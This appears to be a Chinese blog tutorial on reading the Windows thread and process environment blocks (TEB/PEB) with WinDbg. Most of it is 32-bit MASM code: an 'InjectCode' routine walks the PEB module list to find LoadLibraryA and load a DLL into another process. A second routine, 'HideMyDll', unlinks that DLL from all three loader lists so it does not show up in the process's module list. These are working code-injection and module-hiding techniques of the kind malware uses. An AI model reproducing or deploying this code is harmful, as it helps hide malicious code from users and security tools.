windbg获取TEB(线程环境块)信息

windbg下载安装配置符号路径

如果是win10直接下载windbg预览版,预览版只有win10才能用,我的是win7所以下载的是老版本的,老版本去官网中的win10 sdk中下载 链接:https://developer.microsoft.com/zh-cn/windows/downloads/sdk-archive
windbg获取TEB(线程环境块)信息_第1张图片
下载后会有x86和64位两个版本,两个版本都要配置符号路径,否则只能使用一个版本
快捷键 ctrl+s弹出符号路径配置,路径写上:srvd:\symbolslocalhttp://msdl.microsoft.com/download/symbols**,这样如果相关符号表在d:\symbolslocal目录没有找到的话,Windbg会自动在Microsoft的Symbol Servers上下载
注意两个版本,路径修改一下盘符就可以了 ,这样路径就不一样,两个版本就可以用了

安装好以后现在通过TEB获取获取模块信息

设计思路

1利用微软提供的windbg找到不同线程对应的信息结构体,拿到相关信息
MASM中默认是fs:error,也就是默认不能使用fs段寄存器,因此要在masm中使用它时必须先assume fs:nothing。fs 段寄存器初始化后,指向当前活动线程的_TEB结构(线程结构),即_TEB首地址

2通过加30的位置拿到PEB结构体mov eax, fs:[30h]
windbg获取TEB(线程环境块)信息_第2张图片
3拿到通过PEB拿到_PEB_LDR_DATA的结构体
windbg获取TEB(线程环境块)信息_第3张图片
4通过_PEB_LDR_DATA拿到保存模块信息结构体的链表_LIST_ENTRY(有按3种不同方式排列的链表)
windbg获取TEB(线程环境块)信息_第4张图片
5_LIST_ENTRY实际指向的结构体类型是拿到模块信息(注意不同链表内的指针取内容拿到取的是结构体不同的位置)
windbg获取TEB(线程环境块)信息_第5张图片
结构体链表结构如下(和c语言一样):
windbg获取TEB(线程环境块)信息_第6张图片

示例代码

InjectCode:
assume fs :nothing
    mov  eax, fs:[30h]   ;拿到_PEB,注意这里要使用fs段前缀
    mov  eax, [eax+0Ch]  ;拿到_PEB_LDR_DATA
    lea  eax, [eax+1ch]  ;获取inInitializationOrderModuleList的地址
    mov  ebx, [eax];	 ;获取_LIST_ENTRY结构体指针实际是_PEB_LDR_DATA指针
    mov  ecx, ebx
LOOP1:;遍历链表查找想要的dll
    mov eax, [ebx+8h]    ;拿到模块基址MoudleBase
    mov edx, [ebx+20h]   ;拿到模块名,如果根据的是InLoadOrderLinks获取则实际位置是30,但是我用的InInitializationOrderLinks,所以从1030的位置偏移20就可以了 
    mov dl,  [edx+0ch]
    cmp dl, 33h          ;比较第6位是不是字符3
    jz  LOOP_END
    mov ebx, [ebx]       ;将指针指向下一个模块
    ;cmp ebx, ecx        ;循环结束,则跳出循环
    jmp LOOP1            
LOOP_END:
    add eax,12345678h    ;拿到LoadLibraryA的地址,这里写12345678只是开辟一个位置放实际的位置,程序注入之前会进行重定位地址,这和以前一样
    push 0000796dh       ;设置dll名为my
    push esp       
    call eax             ;调用LoadLibraryA加载dll
    
    add eax,1000h        ;拿到隐藏函数起始地址
    call eax             ;调用自动隐藏函数
    
    add esp,4h           ;平局部变量
    retn 4               ;平栈 

DLL隐藏

通过断开线程信息中的3个链表结构体中自己DLL链表的位置,实现dll隐藏,因为加载dll就是从_PEB_LDR_DATA结构中的链表遍历加载dll的

;dll自隐
HideMyDll proc
;断开inInitializationOrderModuleList中的链表线
    LOCAL @dwCurrent:dword
    LOCAL @dwLast:dword
    LOCAL @dwNext:dword

assume fs :nothing
    mov  eax, fs:[30h]   ;拿到_PEB
    mov  eax, [eax+0Ch]  ;拿到_PEB_LDR_DATA
    lea  eax, [eax+1ch]  ;根据inInitializationOrderModuleList
    mov  ebx, [eax];
    mov  ecx, ebx
LOOP1:
    mov eax, [ebx+8h]    ;拿到模块基址MoudleBase
    mov edx, [ebx+20h]   ;拿到模块名
    mov edx, [edx]       ;拿到前面几个字符
    cmp edx, 0079006dh   ;比较开头是不是my
    jz  LOOP1_END
    mov ebx, [ebx]       ;将指针指向下一个模块
    jmp LOOP1     
LOOP1_END:
    mov @dwCurrent,ebx   ;保存一下当前链表的基址
    
    ;修改ModuleList链表
    mov eax,ebx
    lea eax,[eax+4]      ;拿到当前下一个的地址    
    mov ebx,[eax]        
    mov @dwLast,ebx      ;保存后一个链表的起始地址
    
    mov eax,@dwCurrent
    mov eax,[eax]
    mov @dwNext,eax      ;保存上一个链表的起始地址
    add eax,4  
    mov ebx,@dwLast        
    mov dword ptr [eax],ebx  ;修改上一个链表的下一个地址
    
    mov eax,@dwNext
    mov [ebx],eax
    
    ;修改LoadOrderLinks链表
    sub @dwCurrent,10h
    mov eax,@dwCurrent
    
    lea eax,[eax+4]      ;拿到当前下一个的地址    
    mov ebx,[eax]        
    mov @dwLast,ebx      ;保存后一个链表的起始地址
    
    mov eax,@dwCurrent
    mov eax,[eax]
    mov @dwNext,eax      ;保存上一个链表的起始地址
    add eax,4  
    mov ebx,@dwLast        
    mov dword ptr [eax],ebx  ;修改上一个链表的下一个地址
    
    mov eax,@dwNext
    mov [ebx],eax
    
    ;修改InMemoryOrderLinks链表
    add @dwCurrent,8h
    mov eax,@dwCurrent
    
    lea eax,[eax+4]      ;拿到当前下一个的地址    
    mov ebx,[eax]        
    mov @dwLast,ebx      ;保存后一个链表的起始地址
    
    mov eax,@dwCurrent
    mov eax,[eax]
    mov @dwNext,eax      ;保存上一个链表的起始地址
    add eax,4  
    mov ebx,@dwLast        
    mov dword ptr [eax],ebx  ;修改上一个链表的下一个地址
    
    mov eax,@dwNext
    mov [ebx],eax
    
    ret
HideMyDll endp

你可能感兴趣的:(32位汇编)